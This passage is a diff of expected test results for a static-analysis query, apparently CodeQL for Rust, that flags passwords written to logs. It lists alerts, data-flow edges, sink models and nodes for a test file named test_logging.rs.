test_logging.rs:56:39:56:46 | password | test_logging.rs:56:5:56:47 | ...::log | This operation writes $@ to a log file. | test_logging.rs:56:39:56:46 | password | password | -| test_logging.rs:57:5:57:34 | ...::log | test_logging.rs:57:24:57:31 | password | test_logging.rs:57:5:57:34 | ...::log | This operation writes $@ to a log file. | test_logging.rs:57:24:57:31 | password | password | -| test_logging.rs:58:5:58:36 | ...::log | test_logging.rs:58:24:58:31 | password | test_logging.rs:58:5:58:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:58:24:58:31 | password | password | -| test_logging.rs:60:5:60:54 | ...::log | test_logging.rs:60:46:60:53 | password | test_logging.rs:60:5:60:54 | ...::log | This operation writes $@ to a log file. | test_logging.rs:60:46:60:53 | password | password | | test_logging.rs:61:5:61:55 | ...::log | test_logging.rs:61:21:61:28 | password | test_logging.rs:61:5:61:55 | ...::log | This operation writes $@ to a log file. | test_logging.rs:61:21:61:28 | password | password | -| test_logging.rs:65:5:65:48 | ...::log | test_logging.rs:65:40:65:47 | password | test_logging.rs:65:5:65:48 | ...::log | This operation writes $@ to a log file. | test_logging.rs:65:40:65:47 | password | password | -| test_logging.rs:67:5:67:66 | ...::log | test_logging.rs:67:58:67:65 | password | test_logging.rs:67:5:67:66 | ...::log | This operation writes $@ to a log file. | test_logging.rs:67:58:67:65 | password | password | | test_logging.rs:68:5:68:67 | ...::log | test_logging.rs:68:19:68:26 | password | test_logging.rs:68:5:68:67 | ...::log | This operation writes $@ to a log file. | test_logging.rs:68:19:68:26 | password | password | -| test_logging.rs:72:5:72:47 | ...::log::<...> | test_logging.rs:72:39:72:46 | password | test_logging.rs:72:5:72:47 | ...::log::<...> | This operation writes $@ to a log file. | test_logging.rs:72:39:72:46 | password | password | -| test_logging.rs:74:5:74:65 | ...::log::<...> | test_logging.rs:74:57:74:64 | password | test_logging.rs:74:5:74:65 | ...::log::<...> | This operation writes $@ to a log file. | test_logging.rs:74:57:74:64 | password | password | -| test_logging.rs:75:5:75:51 | ...::log::<...> | test_logging.rs:75:21:75:28 | password | test_logging.rs:75:5:75:51 | ...::log::<...> | This operation writes $@ to a log file. | test_logging.rs:75:21:75:28 | password | password | -| test_logging.rs:76:5:76:47 | ...::log::<...> | test_logging.rs:76:39:76:46 | password | test_logging.rs:76:5:76:47 | ...::log::<...> | This operation writes $@ to a log file. | test_logging.rs:76:39:76:46 | password | password | -| test_logging.rs:82:5:82:44 | ...::log::<...> | test_logging.rs:82:36:82:43 | password | test_logging.rs:82:5:82:44 | ...::log::<...> | This operation writes $@ to a log file. | test_logging.rs:82:36:82:43 | password | password | -| test_logging.rs:84:5:84:62 | ...::log::<...> | test_logging.rs:84:54:84:61 | password | test_logging.rs:84:5:84:62 | ...::log::<...> | This operation writes $@ to a log file. | test_logging.rs:84:54:84:61 | password | password | -| test_logging.rs:85:5:85:48 | ...::log::<...> | test_logging.rs:85:21:85:28 | password | test_logging.rs:85:5:85:48 | ...::log::<...> | This operation writes $@ to a log file. | test_logging.rs:85:21:85:28 | password | password | -| test_logging.rs:86:5:86:44 | ...::log::<...> | test_logging.rs:86:36:86:43 | password | test_logging.rs:86:5:86:44 | ...::log::<...> | This operation writes $@ to a log file. | test_logging.rs:86:36:86:43 | password | password | -| test_logging.rs:94:5:94:29 | ...::log | test_logging.rs:93:15:93:22 | password | test_logging.rs:94:5:94:29 | ...::log | This operation writes $@ to a log file. | test_logging.rs:93:15:93:22 | password | password | -| test_logging.rs:97:5:97:19 | ...::log | test_logging.rs:96:42:96:49 | password | test_logging.rs:97:5:97:19 | ...::log | This operation writes $@ to a log file. | test_logging.rs:96:42:96:49 | password | password | -| test_logging.rs:100:5:100:19 | ...::log | test_logging.rs:99:38:99:45 | password | test_logging.rs:100:5:100:19 | ...::log | This operation writes $@ to a log file. | test_logging.rs:99:38:99:45 | password | password | -| test_logging.rs:118:5:118:42 | ...::log | test_logging.rs:118:28:118:41 | get_password(...) | test_logging.rs:118:5:118:42 | ...::log | This operation writes $@ to a log file. | test_logging.rs:118:28:118:41 | get_password(...) | get_password(...) | -| test_logging.rs:131:5:131:32 | ...::log | test_logging.rs:129:25:129:32 | password | test_logging.rs:131:5:131:32 | ...::log | This operation writes $@ to a log file. | test_logging.rs:129:25:129:32 | password | password | +| test_logging.rs:75:5:75:51 | ...::log | test_logging.rs:75:21:75:28 | password | test_logging.rs:75:5:75:51 | ...::log | This operation writes $@ to a log file. | test_logging.rs:75:21:75:28 | password | password | +| test_logging.rs:85:5:85:48 | ...::log | test_logging.rs:85:21:85:28 | password | test_logging.rs:85:5:85:48 | ...::log | This operation writes $@ to a log file. | test_logging.rs:85:21:85:28 | password | password | | test_logging.rs:152:5:152:38 | ...::_print | test_logging.rs:152:30:152:37 | password | test_logging.rs:152:5:152:38 | ...::_print | This operation writes $@ to a log file. | test_logging.rs:152:30:152:37 | password | password | | test_logging.rs:153:5:153:38 | ...::_print | test_logging.rs:153:30:153:37 | password | test_logging.rs:153:5:153:38 | ...::_print | This operation writes $@ to a log file. | test_logging.rs:153:30:153:37 | password | password | | test_logging.rs:154:5:154:39 | ...::_eprint | test_logging.rs:154:31:154:38 | password | test_logging.rs:154:5:154:39 | ...::_eprint | This operation writes $@ to a log file. | test_logging.rs:154:31:154:38 | password | password | @@ -48,106 +23,42 @@ | test_logging.rs:178:9:178:13 | write | test_logging.rs:178:41:178:48 | password | test_logging.rs:178:9:178:13 | write | This operation writes $@ to a log file. | test_logging.rs:178:41:178:48 | password | password | | test_logging.rs:181:9:181:13 | write | test_logging.rs:181:41:181:48 | password | test_logging.rs:181:9:181:13 | write | This operation writes $@ to a log file. | test_logging.rs:181:41:181:48 | password | password | edges -| test_logging.rs:42:12:42:35 | MacroExpr | test_logging.rs:42:5:42:36 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:42:28:42:35 | password | test_logging.rs:42:12:42:35 | MacroExpr | provenance | | -| test_logging.rs:43:12:43:35 | MacroExpr | test_logging.rs:43:5:43:36 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:43:28:43:35 | password | test_logging.rs:43:12:43:35 | MacroExpr | provenance | | -| test_logging.rs:44:11:44:34 | MacroExpr | test_logging.rs:44:5:44:35 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:44:27:44:34 | password | test_logging.rs:44:11:44:34 | MacroExpr | provenance | | -| test_logging.rs:45:12:45:35 | MacroExpr | test_logging.rs:45:5:45:36 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:45:28:45:35 | password | test_logging.rs:45:12:45:35 | MacroExpr | provenance | | -| test_logging.rs:46:11:46:34 | MacroExpr | test_logging.rs:46:5:46:35 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:46:27:46:34 | password | test_logging.rs:46:11:46:34 | MacroExpr | provenance | | -| test_logging.rs:47:24:47:47 | MacroExpr | test_logging.rs:47:5:47:48 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:47:40:47:47 | password | test_logging.rs:47:24:47:47 | MacroExpr | provenance | | -| test_logging.rs:52:12:52:35 | MacroExpr | test_logging.rs:52:5:52:36 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:52:28:52:35 | password | test_logging.rs:52:12:52:35 | MacroExpr | provenance | | -| test_logging.rs:54:12:54:48 | MacroExpr | test_logging.rs:54:5:54:49 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:54:41:54:48 | password | test_logging.rs:54:12:54:48 | MacroExpr | provenance | | -| test_logging.rs:56:12:56:46 | MacroExpr | test_logging.rs:56:5:56:47 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:56:39:56:46 | password | test_logging.rs:56:12:56:46 | MacroExpr | provenance | | -| test_logging.rs:57:12:57:33 | MacroExpr | test_logging.rs:57:5:57:34 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:57:24:57:31 | password | test_logging.rs:57:12:57:33 | MacroExpr | provenance | | -| test_logging.rs:58:12:58:35 | MacroExpr | test_logging.rs:58:5:58:36 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:58:24:58:31 | password | test_logging.rs:58:12:58:35 | MacroExpr | provenance | | -| test_logging.rs:60:30:60:53 | MacroExpr | test_logging.rs:60:5:60:54 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:60:46:60:53 | password | test_logging.rs:60:30:60:53 | MacroExpr | provenance | | -| test_logging.rs:61:20:61:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:61:5:61:55 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:61:20:61:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:61:5:61:55 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:61:20:61:28 | &... [&ref, tuple.0] | test_logging.rs:61:5:61:55 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | +| test_logging.rs:61:20:61:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:61:5:61:55 | ...::log | provenance | MaD:9 Sink:MaD:9 Sink:MaD:9 | +| test_logging.rs:61:20:61:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:61:5:61:55 | ...::log | provenance | MaD:9 Sink:MaD:9 Sink:MaD:9 Sink:MaD:9 | +| test_logging.rs:61:20:61:28 | &... [&ref, tuple.0] | test_logging.rs:61:5:61:55 | ...::log | provenance | MaD:9 Sink:MaD:9 Sink:MaD:9 | | test_logging.rs:61:20:61:28 | &password | test_logging.rs:61:20:61:28 | TupleExpr [tuple.0] | provenance | | | test_logging.rs:61:20:61:28 | &password [&ref] | test_logging.rs:61:20:61:28 | TupleExpr [tuple.0, &ref] | provenance | | | test_logging.rs:61:20:61:28 | TupleExpr [tuple.0, &ref] | test_logging.rs:61:20:61:28 | &... [&ref, tuple.0, &ref] | provenance | | | test_logging.rs:61:20:61:28 | TupleExpr [tuple.0] | test_logging.rs:61:20:61:28 | &... [&ref, tuple.0] | provenance | | | test_logging.rs:61:21:61:28 | password | test_logging.rs:61:20:61:28 | &password | provenance | Config | | test_logging.rs:61:21:61:28 | password | test_logging.rs:61:20:61:28 | &password [&ref] | provenance | | -| test_logging.rs:65:24:65:47 | MacroExpr | test_logging.rs:65:5:65:48 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:65:40:65:47 | password | test_logging.rs:65:24:65:47 | MacroExpr | provenance | | -| test_logging.rs:67:42:67:65 | MacroExpr | test_logging.rs:67:5:67:66 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:67:58:67:65 | password | test_logging.rs:67:42:67:65 | MacroExpr | provenance | | -| test_logging.rs:68:18:68:26 | &... [&ref, tuple.0, &ref] | test_logging.rs:68:5:68:67 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:68:18:68:26 | &... [&ref, tuple.0, &ref] | test_logging.rs:68:5:68:67 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:68:18:68:26 | &... [&ref, tuple.0] | test_logging.rs:68:5:68:67 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | +| test_logging.rs:68:18:68:26 | &... [&ref, tuple.0, &ref] | test_logging.rs:68:5:68:67 | ...::log | provenance | MaD:9 Sink:MaD:9 Sink:MaD:9 | +| test_logging.rs:68:18:68:26 | &... [&ref, tuple.0, &ref] | test_logging.rs:68:5:68:67 | ...::log | provenance | MaD:9 Sink:MaD:9 Sink:MaD:9 Sink:MaD:9 | +| test_logging.rs:68:18:68:26 | &... [&ref, tuple.0] | test_logging.rs:68:5:68:67 | ...::log | provenance | MaD:9 Sink:MaD:9 Sink:MaD:9 | | test_logging.rs:68:18:68:26 | &password | test_logging.rs:68:18:68:26 | TupleExpr [tuple.0] | provenance | | | test_logging.rs:68:18:68:26 | &password [&ref] | test_logging.rs:68:18:68:26 | TupleExpr [tuple.0, &ref] | provenance | | | test_logging.rs:68:18:68:26 | TupleExpr [tuple.0, &ref] | test_logging.rs:68:18:68:26 | &... [&ref, tuple.0, &ref] | provenance | | | test_logging.rs:68:18:68:26 | TupleExpr [tuple.0] | test_logging.rs:68:18:68:26 | &... [&ref, tuple.0] | provenance | | | test_logging.rs:68:19:68:26 | password | test_logging.rs:68:18:68:26 | &password | provenance | Config | | test_logging.rs:68:19:68:26 | password | test_logging.rs:68:18:68:26 | &password [&ref] | provenance | | -| test_logging.rs:72:23:72:46 | MacroExpr | test_logging.rs:72:5:72:47 | ...::log::<...> | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:72:39:72:46 | password | test_logging.rs:72:23:72:46 | MacroExpr | provenance | | -| test_logging.rs:74:41:74:64 | MacroExpr | test_logging.rs:74:5:74:65 | ...::log::<...> | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:74:57:74:64 | password | test_logging.rs:74:41:74:64 | MacroExpr | provenance | | -| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:75:5:75:51 | ...::log::<...> | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:75:5:75:51 | ...::log::<...> | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0] | test_logging.rs:75:5:75:51 | ...::log::<...> | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | +| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:75:5:75:51 | ...::log | provenance | MaD:9 Sink:MaD:9 Sink:MaD:9 | +| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:75:5:75:51 | ...::log | provenance | MaD:9 Sink:MaD:9 Sink:MaD:9 Sink:MaD:9 | +| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0] | test_logging.rs:75:5:75:51 | ...::log | provenance | MaD:9 Sink:MaD:9 Sink:MaD:9 | | test_logging.rs:75:20:75:28 | &password | test_logging.rs:75:20:75:28 | TupleExpr [tuple.0] | provenance | | | test_logging.rs:75:20:75:28 | &password [&ref] | test_logging.rs:75:20:75:28 | TupleExpr [tuple.0, &ref] | provenance | | | test_logging.rs:75:20:75:28 | TupleExpr [tuple.0, &ref] | test_logging.rs:75:20:75:28 | &... [&ref, tuple.0, &ref] | provenance | | | test_logging.rs:75:20:75:28 | TupleExpr [tuple.0] | test_logging.rs:75:20:75:28 | &... [&ref, tuple.0] | provenance | | | test_logging.rs:75:21:75:28 | password | test_logging.rs:75:20:75:28 | &password | provenance | Config | | test_logging.rs:75:21:75:28 | password | test_logging.rs:75:20:75:28 | &password [&ref] | provenance | | -| test_logging.rs:76:23:76:46 | MacroExpr | test_logging.rs:76:5:76:47 | ...::log::<...> | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:76:39:76:46 | password | test_logging.rs:76:23:76:46 | MacroExpr | provenance | | -| test_logging.rs:82:20:82:43 | MacroExpr | test_logging.rs:82:5:82:44 | ...::log::<...> | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:82:36:82:43 | password | test_logging.rs:82:20:82:43 | MacroExpr | provenance | | -| test_logging.rs:84:38:84:61 | MacroExpr | test_logging.rs:84:5:84:62 | ...::log::<...> | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:84:54:84:61 | password | test_logging.rs:84:38:84:61 | MacroExpr | provenance | | -| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:85:5:85:48 | ...::log::<...> | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:85:5:85:48 | ...::log::<...> | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0] | test_logging.rs:85:5:85:48 | ...::log::<...> | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | +| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:85:5:85:48 | ...::log | provenance | MaD:9 Sink:MaD:9 Sink:MaD:9 | +| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:85:5:85:48 | ...::log | provenance | MaD:9 Sink:MaD:9 Sink:MaD:9 Sink:MaD:9 | +| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0] | test_logging.rs:85:5:85:48 | ...::log | provenance | MaD:9 Sink:MaD:9 Sink:MaD:9 | | test_logging.rs:85:20:85:28 | &password | test_logging.rs:85:20:85:28 | TupleExpr [tuple.0] | provenance | | | test_logging.rs:85:20:85:28 | &password [&ref] | test_logging.rs:85:20:85:28 | TupleExpr [tuple.0, &ref] | provenance | | | test_logging.rs:85:20:85:28 | TupleExpr [tuple.0, &ref] | test_logging.rs:85:20:85:28 | &... [&ref, tuple.0, &ref] | provenance | | | test_logging.rs:85:20:85:28 | TupleExpr [tuple.0] | test_logging.rs:85:20:85:28 | &... [&ref, tuple.0] | provenance | | | test_logging.rs:85:21:85:28 | password | test_logging.rs:85:20:85:28 | &password | provenance | Config | | test_logging.rs:85:21:85:28 | password | test_logging.rs:85:20:85:28 | &password [&ref] | provenance | | -| test_logging.rs:86:20:86:43 | MacroExpr | test_logging.rs:86:5:86:44 | ...::log::<...> | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:86:36:86:43 | password | test_logging.rs:86:20:86:43 | MacroExpr | provenance | | -| test_logging.rs:93:9:93:10 | m1 | test_logging.rs:94:11:94:28 | MacroExpr | provenance | | -| test_logging.rs:93:14:93:22 | &password | test_logging.rs:93:9:93:10 | m1 | provenance | | -| test_logging.rs:93:15:93:22 | password | test_logging.rs:93:14:93:22 | &password | provenance | Config | -| test_logging.rs:94:11:94:28 | MacroExpr | test_logging.rs:94:5:94:29 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:96:9:96:10 | m2 | test_logging.rs:97:11:97:18 | MacroExpr | provenance | | -| test_logging.rs:96:41:96:49 | &password | test_logging.rs:96:9:96:10 | m2 | provenance | | -| test_logging.rs:96:42:96:49 | password | test_logging.rs:96:41:96:49 | &password | provenance | Config | -| test_logging.rs:97:11:97:18 | MacroExpr | test_logging.rs:97:5:97:19 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:99:9:99:10 | m3 | test_logging.rs:100:11:100:18 | MacroExpr | provenance | | -| test_logging.rs:99:14:99:46 | res | test_logging.rs:99:22:99:45 | { ... } | provenance | | -| test_logging.rs:99:22:99:45 | ...::format(...) | test_logging.rs:99:14:99:46 | res | provenance | | -| test_logging.rs:99:22:99:45 | ...::must_use(...) | test_logging.rs:99:9:99:10 | m3 | provenance | | -| test_logging.rs:99:22:99:45 | MacroExpr | test_logging.rs:99:22:99:45 | ...::format(...) | provenance | MaD:13 | -| test_logging.rs:99:22:99:45 | { ... } | test_logging.rs:99:22:99:45 | ...::must_use(...) | provenance | MaD:14 | -| test_logging.rs:99:38:99:45 | password | test_logging.rs:99:22:99:45 | MacroExpr | provenance | | -| test_logging.rs:100:11:100:18 | MacroExpr | test_logging.rs:100:5:100:19 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:118:12:118:41 | MacroExpr | test_logging.rs:118:5:118:42 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:118:28:118:41 | get_password(...) | test_logging.rs:118:12:118:41 | MacroExpr | provenance | | -| test_logging.rs:129:9:129:10 | t1 [tuple.1] | test_logging.rs:131:28:131:29 | t1 [tuple.1] | provenance | | -| test_logging.rs:129:14:129:33 | TupleExpr [tuple.1] | test_logging.rs:129:9:129:10 | t1 [tuple.1] | provenance | | -| test_logging.rs:129:25:129:32 | password | test_logging.rs:129:14:129:33 | TupleExpr [tuple.1] | provenance | | -| test_logging.rs:131:12:131:31 | MacroExpr | test_logging.rs:131:5:131:32 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:131:28:131:29 | t1 [tuple.1] | test_logging.rs:131:28:131:31 | t1.1 | provenance | | -| test_logging.rs:131:28:131:31 | t1.1 | test_logging.rs:131:12:131:31 | MacroExpr | provenance | | | test_logging.rs:152:12:152:37 | MacroExpr | test_logging.rs:152:5:152:38 | ...::_print | provenance | MaD:8 Sink:MaD:8 | | test_logging.rs:152:30:152:37 | password | test_logging.rs:152:12:152:37 | MacroExpr | provenance | | | test_logging.rs:153:14:153:37 | MacroExpr | test_logging.rs:153:5:153:38 | ...::_print | provenance | MaD:8 Sink:MaD:8 | @@ -180,45 +91,45 @@ edges | test_logging.rs:167:40:167:63 | ...::Some(...) [Some] | test_logging.rs:167:17:167:64 | ...::assert_failed | provenance | MaD:2 Sink:MaD:2 | | test_logging.rs:167:40:167:63 | MacroExpr | test_logging.rs:167:40:167:63 | ...::Some(...) [Some] | provenance | | | test_logging.rs:167:56:167:63 | password | test_logging.rs:167:40:167:63 | MacroExpr | provenance | | -| test_logging.rs:168:34:168:66 | MacroExpr | test_logging.rs:168:34:168:75 | ... .as_str(...) | provenance | MaD:12 | +| test_logging.rs:168:34:168:66 | MacroExpr | test_logging.rs:168:34:168:75 | ... .as_str(...) | provenance | MaD:11 | | test_logging.rs:168:34:168:66 | res | test_logging.rs:168:42:168:65 | { ... } | provenance | | | test_logging.rs:168:34:168:75 | ... .as_str(...) | test_logging.rs:168:27:168:32 | expect | provenance | MaD:1 Sink:MaD:1 | | test_logging.rs:168:42:168:65 | ...::format(...) | test_logging.rs:168:34:168:66 | res | provenance | | | test_logging.rs:168:42:168:65 | ...::must_use(...) | test_logging.rs:168:34:168:66 | MacroExpr | provenance | | -| test_logging.rs:168:42:168:65 | MacroExpr | test_logging.rs:168:42:168:65 | ...::format(...) | provenance | MaD:13 | -| test_logging.rs:168:42:168:65 | { ... } | test_logging.rs:168:42:168:65 | ...::must_use(...) | provenance | MaD:14 | +| test_logging.rs:168:42:168:65 | MacroExpr | test_logging.rs:168:42:168:65 | ...::format(...) | provenance | MaD:12 | +| test_logging.rs:168:42:168:65 | { ... } | test_logging.rs:168:42:168:65 | ...::must_use(...) | provenance | MaD:13 | | test_logging.rs:168:58:168:65 | password | test_logging.rs:168:42:168:65 | MacroExpr | provenance | | -| test_logging.rs:174:36:174:70 | MacroExpr | test_logging.rs:174:36:174:81 | ... .as_bytes(...) | provenance | MaD:11 | +| test_logging.rs:174:36:174:70 | MacroExpr | test_logging.rs:174:36:174:81 | ... .as_bytes(...) | provenance | MaD:10 | | test_logging.rs:174:36:174:70 | res | test_logging.rs:174:44:174:69 | { ... } | provenance | | | test_logging.rs:174:36:174:81 | ... .as_bytes(...) | test_logging.rs:174:30:174:34 | write | provenance | MaD:5 Sink:MaD:5 | | test_logging.rs:174:44:174:69 | ...::format(...) | test_logging.rs:174:36:174:70 | res | provenance | | | test_logging.rs:174:44:174:69 | ...::must_use(...) | test_logging.rs:174:36:174:70 | MacroExpr | provenance | | -| test_logging.rs:174:44:174:69 | MacroExpr | test_logging.rs:174:44:174:69 | ...::format(...) | provenance | MaD:13 | -| test_logging.rs:174:44:174:69 | { ... } | test_logging.rs:174:44:174:69 | ...::must_use(...) | provenance | MaD:14 | +| test_logging.rs:174:44:174:69 | MacroExpr | test_logging.rs:174:44:174:69 | ...::format(...) | provenance | MaD:12 | +| test_logging.rs:174:44:174:69 | { ... } | test_logging.rs:174:44:174:69 | ...::must_use(...) | provenance | MaD:13 | | test_logging.rs:174:62:174:69 | password | test_logging.rs:174:44:174:69 | MacroExpr | provenance | | -| test_logging.rs:175:40:175:74 | MacroExpr | test_logging.rs:175:40:175:85 | ... .as_bytes(...) | provenance | MaD:11 | +| test_logging.rs:175:40:175:74 | MacroExpr | test_logging.rs:175:40:175:85 | ... .as_bytes(...) | provenance | MaD:10 | | test_logging.rs:175:40:175:74 | res | test_logging.rs:175:48:175:73 | { ... } | provenance | | | test_logging.rs:175:40:175:85 | ... .as_bytes(...) | test_logging.rs:175:30:175:38 | write_all | provenance | MaD:6 Sink:MaD:6 | | test_logging.rs:175:48:175:73 | ...::format(...) | test_logging.rs:175:40:175:74 | res | provenance | | | test_logging.rs:175:48:175:73 | ...::must_use(...) | test_logging.rs:175:40:175:74 | MacroExpr | provenance | | -| test_logging.rs:175:48:175:73 | MacroExpr | test_logging.rs:175:48:175:73 | ...::format(...) | provenance | MaD:13 | -| test_logging.rs:175:48:175:73 | { ... } | test_logging.rs:175:48:175:73 | ...::must_use(...) | provenance | MaD:14 | +| test_logging.rs:175:48:175:73 | MacroExpr | test_logging.rs:175:48:175:73 | ...::format(...) | provenance | MaD:12 | +| test_logging.rs:175:48:175:73 | { ... } | test_logging.rs:175:48:175:73 | ...::must_use(...) | provenance | MaD:13 | | test_logging.rs:175:66:175:73 | password | test_logging.rs:175:48:175:73 | MacroExpr | provenance | | -| test_logging.rs:178:15:178:49 | MacroExpr | test_logging.rs:178:15:178:60 | ... .as_bytes(...) | provenance | MaD:11 | +| test_logging.rs:178:15:178:49 | MacroExpr | test_logging.rs:178:15:178:60 | ... .as_bytes(...) | provenance | MaD:10 | | test_logging.rs:178:15:178:49 | res | test_logging.rs:178:23:178:48 | { ... } | provenance | | | test_logging.rs:178:15:178:60 | ... .as_bytes(...) | test_logging.rs:178:9:178:13 | write | provenance | MaD:5 Sink:MaD:5 | | test_logging.rs:178:23:178:48 | ...::format(...) | test_logging.rs:178:15:178:49 | res | provenance | | | test_logging.rs:178:23:178:48 | ...::must_use(...) | test_logging.rs:178:15:178:49 | MacroExpr | provenance | | -| test_logging.rs:178:23:178:48 | MacroExpr | test_logging.rs:178:23:178:48 | ...::format(...) | provenance | MaD:13 | -| test_logging.rs:178:23:178:48 | { ... } | test_logging.rs:178:23:178:48 | ...::must_use(...) | provenance | MaD:14 | +| test_logging.rs:178:23:178:48 | MacroExpr | test_logging.rs:178:23:178:48 | ...::format(...) | provenance | MaD:12 | +| test_logging.rs:178:23:178:48 | { ... } | test_logging.rs:178:23:178:48 | ...::must_use(...) | provenance | MaD:13 | | test_logging.rs:178:41:178:48 | password | test_logging.rs:178:23:178:48 | MacroExpr | provenance | | -| test_logging.rs:181:15:181:49 | MacroExpr | test_logging.rs:181:15:181:60 | ... .as_bytes(...) | provenance | MaD:11 | +| test_logging.rs:181:15:181:49 | MacroExpr | test_logging.rs:181:15:181:60 | ... .as_bytes(...) | provenance | MaD:10 | | test_logging.rs:181:15:181:49 | res | test_logging.rs:181:23:181:48 | { ... } | provenance | | | test_logging.rs:181:15:181:60 | ... .as_bytes(...) | test_logging.rs:181:9:181:13 | write | provenance | MaD:4 Sink:MaD:4 | | test_logging.rs:181:23:181:48 | ...::format(...) | test_logging.rs:181:15:181:49 | res | provenance | | | test_logging.rs:181:23:181:48 | ...::must_use(...) | test_logging.rs:181:15:181:49 | MacroExpr | provenance | | -| test_logging.rs:181:23:181:48 | MacroExpr | test_logging.rs:181:23:181:48 | ...::format(...) | provenance | MaD:13 | -| test_logging.rs:181:23:181:48 | { ... } | test_logging.rs:181:23:181:48 | ...::must_use(...) | provenance | MaD:14 | +| test_logging.rs:181:23:181:48 | MacroExpr | test_logging.rs:181:23:181:48 | ...::format(...) | provenance | MaD:12 | +| test_logging.rs:181:23:181:48 | { ... } | test_logging.rs:181:23:181:48 | ...::must_use(...) | provenance | MaD:13 | | test_logging.rs:181:41:181:48 | password | test_logging.rs:181:23:181:48 | MacroExpr | provenance | | models | 1 | Sink: lang:core; ::expect; log-injection; Argument[0] | @@ -229,49 +140,12 @@ models | 6 | Sink: lang:std; ::write_all; log-injection; Argument[0] | | 7 | Sink: lang:std; crate::io::stdio::_eprint; log-injection; Argument[0] | | 8 | Sink: lang:std; crate::io::stdio::_print; log-injection; Argument[0] | -| 9 | Sink: repo:https://github.com/rust-lang/log:log; crate::__private_api::log; log-injection; Argument[0] | -| 10 | Sink: repo:https://github.com/rust-lang/log:log; crate::__private_api::log; log-injection; Argument[2] | -| 11 | Summary: lang:alloc; ::as_bytes; Argument[self]; ReturnValue; taint | -| 12 | Summary: lang:alloc; ::as_str; Argument[self]; ReturnValue; taint | -| 13 | Summary: lang:alloc; crate::fmt::format; Argument[0]; ReturnValue; taint | -| 14 | Summary: lang:core; crate::hint::must_use; Argument[0]; ReturnValue; value | +| 9 | Sink: repo:https://github.com/rust-lang/log:log; crate::__private_api::log; log-injection; Argument[3] | +| 10 | Summary: lang:alloc; ::as_bytes; Argument[self]; ReturnValue; taint | +| 11 | Summary: lang:alloc; ::as_str; Argument[self]; ReturnValue; taint | +| 12 | Summary: lang:alloc; crate::fmt::format; Argument[0]; ReturnValue; taint | +| 13 | Summary: lang:core; crate::hint::must_use; Argument[0]; ReturnValue; value | nodes -| test_logging.rs:42:5:42:36 | ...::log | semmle.label | ...::log | -| test_logging.rs:42:12:42:35 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:42:28:42:35 | password | semmle.label | password | -| test_logging.rs:43:5:43:36 | ...::log | semmle.label | ...::log | -| test_logging.rs:43:12:43:35 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:43:28:43:35 | password | semmle.label | password | -| test_logging.rs:44:5:44:35 | ...::log | semmle.label | ...::log | -| test_logging.rs:44:11:44:34 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:44:27:44:34 | password | semmle.label | password | -| test_logging.rs:45:5:45:36 | ...::log | semmle.label | ...::log | -| test_logging.rs:45:12:45:35 | 